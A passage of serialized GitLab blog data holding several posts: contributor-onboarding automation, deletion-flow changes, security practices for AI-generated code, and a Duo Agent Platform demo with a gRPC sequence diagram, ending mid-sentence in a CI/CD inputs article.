$CI_DEFAULT_BRANCH\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        FORCE_SYNC: 1\n        DRY_RUN: 0\n        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE\n```\n\n\n\n![GitLab comment template](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png)\n\n\n\n## We eliminated the 5-minute wait time\n\nOur first iteration was a little slow.\nAfter starting the onboarding process, contributors wondered what to do next while the scheduled\npipeline took up to 5 minutes to create their onboarding issue.\nFive minutes feels like forever when you have the momentum to dive in.\n\n[Niklas](https://gitlab.com/Taucher2003), a member of our [Core team ](https://about.gitlab.com/community/core-team/), built a solution.\nHe added [webhook events for access requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094)\nand [custom payload templates for webhooks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738).\n\nThese features together allowed us to trigger a pipeline immediately instead of waiting for the schedule.\nThis reduces the time to roughly 40 seconds (the time it takes for the CI pipeline to run)\nand generates the onboarding issue right away. It also saves thousands of wasted pipelines and compute minutes when no access requests actually need processing.\n\nWe set up a [pipeline trigger token](https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token)\nand used this as the target for the webhook, passing the desired environment variables:\n\n```json\n{\n  \"ref\": \"main\",\n  \"variables\": {\n    \"EXECUTE_ACCESS_REQUESTS\": \"1\",\n    \"DRY_RUN\": \"0\",\n    \"PIPELINE_NAME\": \"Create onboarding issues\",\n    \"GROUP_ID\": \"{{group_id}}\",\n    \"EVENT_NAME\": \"{{event_name}}\"\n  }\n}\n```\n\n![Pipeline list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png)\n\n## We automated follow-ups\n\nWith an increasing volume of customers and community contributors onboarding to the GitLab community,\nmaintainers struggled to track which issues needed attention and some follow-up questions got lost.\n\nWe built automation leveraging webhooks and Ruby to label issues updated by community members.\nThis creates a clear signal of issue status for maintainers.\n\n[GitLab Triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage)\nautomatically nudges idle onboarding issues to ensure we maintain contributor momentum.\n\n![Automated nudge for idle GitLab onboarding issues](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png)\n\n## We organized issue tracking with GLQL\n\nWe built a [GLQL view](https://docs.gitlab.com/user/glql/) to keep track of issues.\nThis GLQL table summarizes onboarding issues which need attention,\nso maintainers can review and follow up with community members.\n\n![GLQL view of issue tracking](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png)\n\nThese GLQL views improved our overall triage [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency).\nIt was so successful we ended up using this strategy within the [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/)\nand [GitLab for Education](https://about.gitlab.com/solutions/education/) programs, too.\nWith GLQL tables for support issues, these community programs lowered their response times by 75%.\n\n## We made the README findable\n\nThe [@gitlab-community group](https://gitlab.com/gitlab-community/)\nis the home for contributors on Gitlab.com.\nWe already had a `README.md` file explaining the community forks and onboarding process, but this file\nlived in our meta project.\nWith our follow-up user study, we discovered this was a point of confusion for newcomers when their\nonboarding issues were under a different project.\n\nWe used [GitLab's project mirroring](https://docs.gitlab.com/user/project/repository/mirror/)\nto solve this and mirrored the meta project to `gitlab-profile`.\nThis surfaced the existing README file at the group level, making it easier to discover.\n\n![GitLab project mirroiring](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png)\n\n![Group README](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png)\n\n## The results speak for themselves\n\nBy dogfooding GitLab, we improved the stumbling blocks found in our research studies\nand transformed the GitLab contributor journey.\nWe have grown the number of customers and community members contributing to GitLab,\nadding features to the product, solving bugs, and adding to our CI/CD catalog.\n\nOur onboarding process has increased the rate newcomers join the community, and our total number of\ncontributors on the community forks has doubled over the last 9 months.\n\n![Community forks growth chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png)\n\nWe reduced the time it takes for newcomers to make their first contribution by connecting them\nwith maintainers faster and supporting them in getting started.\nWe use [GitLab's value stream analytics](https://docs.gitlab.com/user/group/value_stream_analytics/)\nto track our response rates.\n\n* First response time from community maintainers is down to 46 minutes over the last 3 months\n* Average approval time for community forks access is down to 1 hour over the last 3 months\n\n![Value stream analytics timeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png)\n\nThe 100% success rate of our 2025 user study confirmed these improvements for our first-time contributors.\n\n## We invested time savings into contributor recognition\n\nFixing these newcomer challenges allowed us more capacity to focus on better recognition of\ncontributors, incentivizing first-timers to keep coming back.\nThe result is [contributors.gitlab.com](https://contributors.gitlab.com/).\nWe built out a central hub for our contributors that features gamified leaderboards,\nachievements, and rewards.\nContributors can see their impact, track progress, and grow in the community.\n\n## Sharing what we learned\n\nThese improvements work and are repeatable for other open source projects.\nWe are sharing our approach across communities and conferences so that other projects can consider using these tools to grow.\n\nAs more organizations learn the barriers to participation, we can create a more welcoming open source environment.\nWith these GitLab tools, we can offer a smoother experience for both contributors and maintainers.\nWe're committed to advancing this work and collaborating to remove barriers for open source projects everywhere.\n\n## Start the conversation\n\nWant to learn more about growing your contributor community?\nEmail `contributors@gitlab.com` or [open an issue](https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues)\nto start a discussion.\nWe're here to help build communities.",[810,811],"Lee Tickett","Daniel Murphy","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099558/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750099558369.png","open-source",[815,267,695],"open source","2025-07-15",{"featured":6,"template":678,"slug":818},"how-we-use-gitlab-to-grow-open-source-communities","content:en-us:blog:how-we-use-gitlab-to-grow-open-source-communities.yml","How We Use Gitlab To Grow Open Source Communities","en-us/blog/how-we-use-gitlab-to-grow-open-source-communities.yml","en-us/blog/how-we-use-gitlab-to-grow-open-source-communities",{"_path":824,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":825,"content":828,"config":836,"_id":838,"_type":16,"title":839,"_source":17,"_file":840,"_stem":841,"_extension":20},"/en-us/blog/improving-gitlab-deletion-flow-what-to-expect-in-coming-months",{"noIndex":6,"title":826,"description":827},"Improving GitLab's deletion flow: What to expect in coming months","GitLab is enhancing its deletion flow for groups and projects with features like pending deletion, self-service recovery, and an extended 30-day recovery window. Here's what you need to know.\n",{"title":826,"description":827,"authors":829,"heroImage":831,"date":832,"body":833,"category":834,"tags":835},[830],"Christina Lohr","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663000/Blog/Hero%20Images/tanukilifecycle.png","2025-07-14","At GitLab, we're committed to continuously improving your experience across our platform. Today, we're excited to announce significant enhancements to our deletion flow for groups and projects. We are rolling out a series of improvements designed to protect your data, simplify recovery, and create a more intuitive experience across all pricing tiers.\n\n## Why we're making these changes\n\nOur current deletion flow has some inconsistencies that can lead to frustrating experiences. Free tier users have had limited or no options for recovering accidentally deleted content, projects in personal namespaces haven't had the same protections as those in groups, and group namespace paths have remained locked after deletion, preventing immediate reuse.\n\nWe've heard your feedback, and we're addressing these pain points with a comprehensive redesign of our deletion flow that will be rolled out in multiple iterations.\n\n## What has changed already\n\nOver the past quarter, we have implemented fundamental improvements to create a consistent deletion experience across all pricing tiers. These changes have eliminated the frustration of accidentally deleting important content with no recovery option.\n\n* [**Pending deletion for all users**](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/#deletion-protection-available-for-all-users)**:** All deleted projects and groups now enter a \"pending deletion\" state before being permanently deleted, regardless of their pricing tier.  \n* [**Self-service recovery**](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/#delayed-project-deletion-for-user-namespaces)**:** You can now restore your own content without contacting support, giving you more control and autonomy over your data.  \n* [**Clear status indicators**](https://gitlab.com/gitlab-org/gitlab/-/issues/502234)**:** We have standardized how deletion status is displayed across the platform, making it immediately clear when content is pending deletion.  \n* **Extended recovery window:** On July 10, 2025, we increased the pending deletion period from 7 to 30 days on GitLab.com. This means you now have ample time to recover from accidental deletions.\n\n## What's coming next\n\n### Currently in development\n\nBuilding on the foundation established in our first iteration, we are further enhancing your deletion experience with two key improvements:\n\n* [**Admin area consistency**](https://gitlab.com/groups/gitlab-org/-/epics/17372)**:** Deletions initiated from the Admin area will follow the same pending deletion process as deletions initiated directly from the group or project level, creating a unified experience across all access points.  \n* [**Immediate path reuse**](https://gitlab.com/gitlab-org/gitlab/-/issues/526081)**:** When you delete a project or group, its namespace path will be automatically renamed, allowing you to immediately reuse the original path for new content. This will remove the waiting period currently required to reuse namespace paths.\n\n### Planned for future release\n\nThe final phase will introduce a redesigned deletion experience that completes our vision for a modern, intuitive deletion system:\n\n* **Centralized \"Trash\" interface:** All your deleted content will be accessible in a dedicated \"Trash\" section, providing a familiar paradigm similar to what you're used to in other applications.  \n* [**Clear action separation**](https://gitlab.com/gitlab-org/gitlab/-/issues/541182)**:** We will create a clear distinction between \"Delete\" (temporary, recoverable) and \"Delete Permanently\" (irrevocable) actions to prevent accidental data loss.  \n* **Bulk management:** You'll be able to restore or permanently delete multiple items at once, making cleanup and recovery more efficient.\n\n## How these changes benefit you\n\nThese enhancements deliver several key benefits that will transform your experience with GitLab's deletion functionality.\n\n* **Protection against data loss** is provided through pending deletion and self-service recovery available across all tiers, giving you a safety net against accidental deletions. The **consistent experience** ensures the same deletion flow applies to all projects and groups, eliminating inconsistencies across the platform.\n\n* You'll gain **greater control** through enhanced visibility and management options for deleted content, with a familiar interface that makes recovery intuitive. **Improved workflow** efficiency will result from immediate path reuse and bulk management capabilities that streamline your content organization process.\n\n* Most importantly, you'll have **peace of mind** knowing that the extended 30-day recovery window ensures ample opportunity to recover important data, while the clear separation between temporary and permanent deletion actions prevents accidental data loss.\n\n## Your feedback matters\n\nAs always, we value your input. Please leave feedback in [the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/538165).","bulletin-board",[695],{"featured":6,"template":678,"slug":837},"improving-gitlab-deletion-flow-what-to-expect-in-coming-months","content:en-us:blog:improving-gitlab-deletion-flow-what-to-expect-in-coming-months.yml","Improving Gitlab Deletion Flow What To Expect In Coming Months","en-us/blog/improving-gitlab-deletion-flow-what-to-expect-in-coming-months.yml","en-us/blog/improving-gitlab-deletion-flow-what-to-expect-in-coming-months",{"_path":843,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":844,"content":847,"config":853,"_id":855,"_type":16,"title":856,"_source":17,"_file":857,"_stem":858,"_extension":20},"/en-us/blog/3-best-practices-for-building-software-in-the-era-of-llms",{"noIndex":6,"title":845,"description":846},"3 best practices for building software in the era of LLMs","With AI transforming coding speed, developers need new security habits. Learn what they are and how to deploy them throughout the DevSecOps workflow.",{"title":845,"description":846,"authors":848,"heroImage":849,"body":850,"date":851,"category":791,"tags":852},[750],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662523/Blog/Hero%20Images/Gartner_DevOps_Blog_Post_Cover_Image_1800x945__2_.png","AI has rapidly become a core part of modern software development. Not only is it helping developers code faster than ever, but it’s also automating low-level tasks like writing test cases or summarizing documentation. According to our [2024 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/), 81% of developers are already using AI in their workflows or plan to in the next two years.\n\nAs code is written with less manual effort, we’re seeing a subtle but important behavioral change: Developers are beginning to trust AI-generated code with less scrutiny. That confidence — understandable as it may be — can quietly introduce security risks, especially as the overall volume of code increases. Developers can’t be expected to stay on top of every vulnerability or exploit, which is why we need systems and safeguards that scale with them. AI tools are here to stay. So, as security professionals, it’s incumbent on you to empower developers to adopt them in a way that improves both speed and security.\n\nHere are three practical ways to do that. \n\n## Never trust, always verify\n\nAs mentioned above, developers are beginning to trust AI-generated code more readily, especially when it looks clean and compiles without error. To combat this, adopt a zero-trust mindset. While we often talk about [zero trust](https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/) in the context of identity and access management, the same principle can be applied here with a slightly different framing. Treat AI-generated code like input from a junior developer: helpful, but not production-ready without a proper review. \n\nA developer should be able to explain what the code is doing and why it’s safe before it gets merged. Reviewing AI-generated code might even shape up to be an emerging skillset required in the world of software development. The developers who excel at this will be indispensable because they’ll marry the speed of LLMs with the risk reduction mindset to produce secure code, faster. \n\nThis is where tools like [GitLab Duo Code Review](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/) can help. As a feature of our AI companion across the software development lifecycle, it brings AI into the code review process, not to replace human judgment, but to enhance it. By surfacing questions, inconsistencies, and overlooked issues in the merge requests, AI can help developers keep up with the very AI that’s accelerating development cycles. \n\n## Prompt for secure patterns\n\nLarge language models ([LLMs](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/))  are powerful, but only as precise as the prompts they’re given. That’s why prompt engineering is becoming a core part of working with AI tools. In the world of LLMs, your input *is* the interface. Developers who learn to write clear, security-aware prompts will play a key role in building safer software from the start.\n\nFor example, vague requests like “build a login form” often produce insecure or overly simplistic results. However, by including more context, such as “build a login form **with** input validation, rate limiting, and hashing, **and** support phishing-resistant authentication methods like passkeys,” you’re more likely to produce an output that meets the security standards of your organization. \n\nRecent [research](https://www.backslash.security/press-releases/backslash-security-reveals-in-new-research-that-gpt-4-1-other-popular-llms-generate-insecure-code-unless-explicitly-prompted) from Backlash Security backs this up. They found that secure prompting improved results across popular LLMs. When developers simply asked models to “write secure code,” success rates remained low. However, when prompts referenced [OWASP best practices](https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html), the rate of secure code generation increased. \n\nPrompt engineering should be part of how we train and empower security champions within development teams. Just like we teach secure coding patterns and threat modeling, we should also be teaching developers how to guide AI tools with the same security mindset. \n\n> Learn more with these helpful [prompt engineering tips](https://docs.gitlab.com/development/ai_features/prompt_engineering/).\n\n## Scan everything, no exceptions\n\nThe rise of AI means we’re writing more code, quicker, with the same number of humans. That shift should change how we think about security, not just as a final check, but as an always-on safeguard woven into every aspect of the development process.\n\nMore code means a wider attack surface. And when that code is partially or fully generated, we can’t solely rely on secure coding practices or individual intuition to spot risks. That’s where automated scanning comes in. [Static Application Security Testing (SAST)](https://docs.gitlab.com/user/application_security/sast/), [Software Composition Analysis (SCA)](https://docs.gitlab.com/user/application_security/dependency_scanning/), and [Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/) become critical controls to mitigate the risk of secret leaks, supply chain attacks, and weaknesses like SQL injections. With platforms like GitLab, [application security](https://about.gitlab.com/solutions/security-compliance/) is natively built into the developer's workflow, making it a natural part of the development lifecycle. Scanners can also trace through the entire program to make sure new AI-generated code is secure *in the context of all the other code* — that can be hard to spot if you’re just looking at some new code in your IDE or in an AI-generated patch.\n\nBut it’s not just about scanning, it’s about keeping pace. If development teams are going to match the speed of AI-assisted development, they need scans that are fast, accurate, and built to scale. Accuracy especially matters. If scanners overwhelm developers with false positives, there’s a risk of losing trust in the system altogether. \n\nThe only way to move fast *and* stay secure is to make scanning non-negotiable. \n\nEvery commit. Every branch. No exceptions.\n\n## Secure your AI-generated code with GitLab\n\nAI is changing the way we build software, but the fundamentals of secure software development still apply. Code still needs to be reviewed. Threats still need to be tested. And security still needs to be embedded in the way we work. At GitLab, that’s exactly what we’ve done. \n\nAs a developer platform, we’re not bolting security onto the workflow — we’re embedding it directly where developers already work: in the IDE, in merge requests, and in the pipeline. Scans run automatically and relevant security context is surfaced to facilitate faster remediation cycles. And, because it’s part of the same platform where developers build, test, and deploy software, there are fewer tools to juggle, less context switching, and a much smoother path to secure code.\n\nAI features like [Duo Vulnerability Explanation and Vulnerability Resolution](https://about.gitlab.com/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) add another layer of speed and insight, helping developers understand risks and fix them faster, without breaking their flow.\n\nAI isn’t a shortcut to security. But with the right practices — and a platform that meets developers where they are — it can absolutely be part of building software that’s fast, secure, and scalable. \n\n> Start your [free 60-day trial of GitLab Ultimate with Duo Enterprise](https://about.gitlab.com/free-trial/) and experience what it’s like to build secure software, faster. With native security scanning, AI-powered insights, and a seamless developer experience, GitLab helps you shift security left without slowing down.","2025-07-10",[790,674],{"featured":92,"template":678,"slug":854},"3-best-practices-for-building-software-in-the-era-of-llms","content:en-us:blog:3-best-practices-for-building-software-in-the-era-of-llms.yml","3 Best Practices For Building Software In The Era Of Llms","en-us/blog/3-best-practices-for-building-software-in-the-era-of-llms.yml","en-us/blog/3-best-practices-for-building-software-in-the-era-of-llms",{"_path":860,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":861,"content":864,"config":870,"_id":873,"_type":16,"title":874,"_source":17,"_file":875,"_stem":876,"_extension":20},"/en-us/blog/gitlab-patch-release-18-1-2-18-0-4-17-11-6",{"config":862,"title":863,"description":708},{"noIndex":92},"GitLab Patch Release: 18.1.2, 18.0.4, 17.11.6",{"title":863,"description":708,"authors":865,"heroImage":712,"date":867,"body":868,"category":695,"tags":869},[866],"Greg Myers","2025-07-09","This is the post for [GitLab Patch Release: 18.1.2, 18.0.4, 17.11.6](https://about.gitlab.com/releases/2025/07/09/patch-release-gitlab-18-1-2-released/).",[716],{"featured":6,"template":678,"externalUrl":871,"slug":872},"https://about.gitlab.com/releases/2025/07/09/patch-release-gitlab-18-1-2-released/","gitlab-patch-release-18-1-2-18-0-4-17-11-6","content:en-us:blog:gitlab-patch-release-18-1-2-18-0-4-17-11-6.yml","Gitlab Patch Release 18 1 2 18 0 4 17 11 6","en-us/blog/gitlab-patch-release-18-1-2-18-0-4-17-11-6.yml","en-us/blog/gitlab-patch-release-18-1-2-18-0-4-17-11-6",{"_path":878,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":879,"config":882,"content":884,"_id":891,"_type":16,"title":892,"_source":17,"_file":893,"_stem":894,"_extension":20},"/en-us/blog/accelerate-learning-with-gitlab-duo-agent-platform",{"title":880,"description":881},"Accelerate learning with GitLab Duo Agent Platform","Learn how agentic AI helped generate comprehensive gRPC documentation in minutes, not hours.",{"slug":883,"featured":92,"template":678},"accelerate-learning-with-gitlab-duo-agent-platform",{"title":880,"description":881,"authors":885,"heroImage":887,"date":888,"category":791,"tags":889,"body":890},[886],"Halil Coban","Blog/Hero%20Images/Workflow_1800x945.png","2025-07-07",[791,696,695,674],"At GitLab, we continue to expand our AI capabilities so I often find myself learning and working in new codebases. Whether I'm debugging issues, implementing new features, or onboarding to different projects, understanding system architecture quickly is crucial. But let's be honest — manually tracing through complex communication flows, especially gRPC connections, can eat up hours of productive development time.\n\nThis is exactly the type of tedious, yet necessary, work [GitLab Duo Agent Platform](https://about.gitlab.com/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/) is designed to handle. Instead of replacing developers, it amplifies our capabilities by automating routine tasks so we can focus on creative problem solving and strategic technical work.\n\nLet me show you how I used [Duo Agent Platform](https://about.gitlab.com/gitlab-duo/agent-platform/) to generate comprehensive documentation for a Golang project's gRPC communication flow — and how it transformed hours of code analysis into a few minutes of guided interaction.\n\nYou can follow along with this video:\n\n\u003Cdiv style=\"padding:75% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1098569263?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"AI Agent Generates Complete gRPC Documentation in Minutes | GitLab Duo Agent Platform Demo\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## The challenge: Understanding gRPC communication flows\n\nI was working with a project called \"Duo Workflow Executor\" that communicates with a gRPC server. Rather than spending my afternoon manually tracing through the codebase to understand the communication patterns, I decided to let Duo Agent Platform handle the heavy lifting.\n\nMy goal was simple: generate a clear diagram showing how the gRPC communication works, including what payloads are received, what actions are executed, and what responses are sent back.\n\nWorking in VS Code with the GitLab Workflow extension installed, I opened the project and crafted a specific prompt for Duo Agent Platform:\n\n\"Can you prepare a mermaid diagram that shows the gRPC connection between duo-workflow-service and this project. It should show what this project receives in gRPC payload, and what actions it executes based on the payload, and what it sends back. Study internal/services/runner/runner.go, especially the Run method, and write the mermaid output to a grpc.md file.\"\n\nDuo Agent Platform didn't just blindly execute my request — it began intelligently gathering context to create a comprehensive execution plan. The platform automatically:\n\n* Searched through relevant Go files in the project  \n* Read the specific file I mentioned (runner.go)  \n* Identified additional files that would provide necessary context  \n* Analyzed the codebase structure to understand the gRPC implementation\n\nThis contextual awareness is what sets agentic AI tools with great context apart from simple code generation tools. Instead of working in isolation, Duo Agent Platform understands the relationships between different components of your project.\n\n## Collaborative refinement\n\nRather than making assumptions, Duo Agent Platform is designed to keep a human in the loop at critical moments in task execution to deliver better results. In this scenario, the platform paused to ask clarifying questions about the level of detail I wanted. \n\n**Agent:** \"Should I include error handling details in the diagram?\" \n\n**Me:** \"Don't focus on error handling. Include all actions. Focus on gRPC payload.\"\n\nThis back-and-forth refinement is crucial. The agent isn't just executing commands — it's working with me to ensure the deliverable meets my specific requirements.\n\n## Execution and results\n\nWith the clarified requirements, Duo Agent Platform finalized its execution plan and requested confirmation before proceeding. I could have modified the approach at this stage, but the plan was perfectly aligned with what I needed.\n\nThe agent then executed each task in sequence, providing real-time progress updates. Within minutes, it had:\n\n* Analyzed all relevant files across the project  \n* Created comprehensive documentation with a detailed mermaid diagram  \n* Saved everything to the requested grpc.md file  \n* Included valuable context about outgoing payloads and connection management\n\nThe resulting documentation wasn't just a basic diagram — it was thorough, accurate, and immediately useful for understanding the system architecture.\n\n## Reviewing the output\n\nHere's the actual mermaid diagram that Duo Agent Platform created, showing the complete gRPC communication flow:\n\n```mermaid\nsequenceDiagram\nparticipant DWS as duo-workflow-service\nparticipant DWE as duo-workflow-executor\nparticipant Runner as ExecutionRunner\nparticipant ActionExecutor as Action Executor\nparticipant FileSystem as File System/Commands\n\n\nNote over DWS, DWE: gRPC Bidirectional Streaming (ExecuteWorkflow)\n\n%% Connection Establishment\nDWE->>DWS: gRPC Connection with Headers\nNote over DWE, DWS: Headers: authorization (Bearer token)\u003Cbr/>x-gitlab-authentication-type: oidc\u003Cbr/>x-gitlab-realm, x-gitlab-global-user-id\u003Cbr/>x-gitlab-oauth-token, x-gitlab-base-url\u003Cbr/>x-gitlab-instance-id, x-request-id\u003Cbr/>x-gitlab-namespace-id, x-gitlab-project-id\n\n\n%% Workflow Start Request\nDWE->>DWS: ClientEvent{StartWorkflowRequest}\nNote over DWE, DWS: StartWorkflowRequest:\u003Cbr/>- ClientVersion\u003Cbr/>- WorkflowDefinition\u003Cbr/>- Goal\u003Cbr/>- WorkflowID\u003Cbr/>- WorkflowMetadata\u003Cbr/>- ClientCapabilities[]\n\n\n%% Action Processing Loop\nloop Action Processing\n    DWS->>DWE: Action Message\n    Note over DWS, DWE: Action Types:\u003Cbr/>- Action_RunCommand {program, flags[], arguments[]}\u003Cbr/>- Action_RunGitCommand {command, arguments[], repositoryUrl}\u003Cbr/>- Action_RunReadFile {filepath}\u003Cbr/>- Action_RunWriteFile {filepath, contents}\u003Cbr/>- Action_RunEditFile {filepath, oldString, newString}\u003Cbr/>- Action_RunHTTPRequest {method, path, body}\u003Cbr/>- Action_ListDirectory {directory}\u003Cbr/>- Action_FindFiles {namePattern}\u003Cbr/>- Action_Grep {searchDirectory, pattern, caseInsensitive}\u003Cbr/>- Action_NewCheckpoint {}\u003Cbr/>- Action_RunMCPTool {}\n\n\n    DWE->>Runner: Receive Action\n    Runner->>Runner: processWorkflowActions()\n    Runner->>ActionExecutor: executeAction(ctx, action)\n    \n    alt Action_RunCommand\n        ActionExecutor->>FileSystem: Execute Shell Command\n        Note over ActionExecutor, FileSystem: Executes: program + flags + arguments\u003Cbr/>in basePath directory\n        FileSystem-->>ActionExecutor: Command Output + Exit Code\n    \n    else Action_RunReadFile\n        ActionExecutor->>FileSystem: Read File\n        Note over ActionExecutor, FileSystem: Check gitignore rules\u003Cbr/>Read file contents\n        FileSystem-->>ActionExecutor: File Contents\n    \n    else Action_RunWriteFile\n        ActionExecutor->>FileSystem: Write File\n        Note over ActionExecutor, FileSystem: Check gitignore rules\u003Cbr/>Create/overwrite file\n        FileSystem-->>ActionExecutor: Success/Error Message\n    \n    else Action_RunEditFile\n        ActionExecutor->>FileSystem: Edit File\n        Note over ActionExecutor, FileSystem: Read → Replace oldString with newString → Write\u003Cbr/>Check gitignore rules\n        FileSystem-->>ActionExecutor: Edit Result Message\n    \n    else Action_RunGitCommand\n        ActionExecutor->>FileSystem: Execute Git Command \n        Note over ActionExecutor, FileSystem: Git operations with authentication\u003Cbr/>Uses provided git config\n        FileSystem-->>ActionExecutor: Git Command Output\n    \n    else Action_RunHTTPRequest\n        ActionExecutor->>DWS: HTTP Request to GitLab API\n        Note over ActionExecutor, DWS: Method: GET/POST/PUT/DELETE\u003Cbr/>Path: API endpoint\u003Cbr/>Body: Request payload\u003Cbr/>Headers: Authorization\n        DWS-->>ActionExecutor: HTTP Response\n    \n    else Action_ListDirectory\n        ActionExecutor->>FileSystem: List Directory Contents\n        Note over ActionExecutor, FileSystem: Respect gitignore rules\n        FileSystem-->>ActionExecutor: Directory Listing\n    \n    else Action_FindFiles\n        ActionExecutor->>FileSystem: Find Files by Pattern\n        Note over ActionExecutor, FileSystem: Recursive search with name pattern\u003Cbr/>Respect gitignore rules\n        FileSystem-->>ActionExecutor: File Paths List\n    \n    else Action_Grep\n        ActionExecutor->>FileSystem: Search Text Pattern\n        Note over ActionExecutor, FileSystem: Recursive text search\u003Cbr/>Case sensitive/insensitive option\n        FileSystem-->>ActionExecutor: Search Results\n    \n    else Action_NewCheckpoint/Action_RunMCPTool\n        ActionExecutor->>ActionExecutor: No-op Action\n        Note over ActionExecutor: Returns empty success result\n    end\n\n\n    ActionExecutor-->>Runner: Action Result (string)\n    \n    alt Result Size Check\n        Runner->>Runner: Check if result > 4MB\n        Note over Runner: If result exceeds MaxMessageSize (4MB)\u003Cbr/>Replace with error message about size limit\n    end\n\n\n    Runner->>DWE: ActionResponse\n    DWE->>DWS: ClientEvent{ActionResponse}\n    Note over DWE, DWS: ActionResponse:\u003Cbr/>- RequestID (matches Action.RequestID)\u003Cbr/>- Response (execution result string)\nend\n\n\n%% Workflow Completion\nDWE->>DWS: CloseSend()\nNote over DWE, DWS: Signal end of workflow execution\n\n\n%% Analytics and Cleanup\nRunner->>Runner: Send Analytics Event (Finish)\nDWE->>DWE: Token Revocation (if enabled)\nDWE->>DWS: Close gRPC Connection\n```\n\n\nThis diagram reveals several important architectural insights that would have taken considerable time to extract manually:\n\n* **Bidirectional communication:** The workflow executor both initiates requests and responds to service actions. \n* **Rich payload structure:** Each action type has specific parameters and expected responses.  \n* **Multiple integration points:** The executor interacts with local filesystem, Git repositories, and GitLab APIs.  \n* **Comprehensive action set:** Nine different action types handle everything from file operations to HTTP requests.  \n* **Proper lifecycle management:** Clear connection establishment and teardown patterns.\n\nWhat impressed me most was how the agent automatically included the detailed payload structures for each action type. This level of detail transforms the diagram from a high-level overview into actionable documentation that other developers can immediately use.\n\n## Looking ahead\n\nThis demonstration represents just one use case for GitLab Duo Agent Platform. The same contextual understanding and collaborative approach that made documentation generation seamless can be applied to:\n\n* **Code reviews:** Agents can analyze merge requests with full project context  \n* **Testing:** Generate comprehensive test suites based on actual usage patterns  \n* **Debugging:** Trace issues across multiple services and components  \n* **Security scanning:** Identify vulnerabilities with understanding of your specific architecture  \n* **CI/CD optimization:** Improve pipeline performance based on historical data\n\nGitLab Duo Agent Platform will enter public beta soon so [join the wait list today](https://about.gitlab.com/gitlab-duo/agent-platform/).\n\nStay tuned to the [GitLab Blog](https://about.gitlab.com/blog/) and social channels for additional updates. GitLab Duo Agent Platform is evolving rapidly with specialized agents, custom workflows, and community-driven extensions on the roadmap.\n\n## Learn more\n\n- [Agentic AI guides and resources](https://about.gitlab.com/blog/agentic-ai-guides-and-resources/)\n- [GitLab Duo Agent Platform: What’s next for intelligent DevSecOps](https://about.gitlab.com/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/)\n- [What is agentic AI?](https://about.gitlab.com/topics/agentic-ai/)\n- [From vibe coding to agentic AI: A roadmap for technical leaders](https://about.gitlab.com/the-source/ai/from-vibe-coding-to-agentic-ai-a-roadmap-for-technical-leaders/)\n","content:en-us:blog:accelerate-learning-with-gitlab-duo-agent-platform.yml","Accelerate Learning With Gitlab Duo Agent Platform","en-us/blog/accelerate-learning-with-gitlab-duo-agent-platform.yml","en-us/blog/accelerate-learning-with-gitlab-duo-agent-platform",{"_path":896,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":897,"content":900,"config":906,"_id":908,"_type":16,"title":909,"_source":17,"_file":910,"_stem":911,"_extension":20},"/en-us/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline",{"noIndex":6,"title":898,"description":899},"CI/CD inputs: Secure and preferred method to pass parameters to a pipeline","Learn how CI/CD inputs provide type-safe parameter passing with validation, replacing error-prone variables for more reliable pipelines.",{"title":898,"description":899,"authors":901,"heroImage":903,"date":888,"body":904,"category":695,"tags":905},[902],"Dov Hershkovitch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658912/Blog/Hero%20Images/blog-image-template-1800x945__20_.png","\nGitLab CI/CD inputs represent the future of pipeline parameter passing. As\na purpose-built feature designed specifically for typed parameters 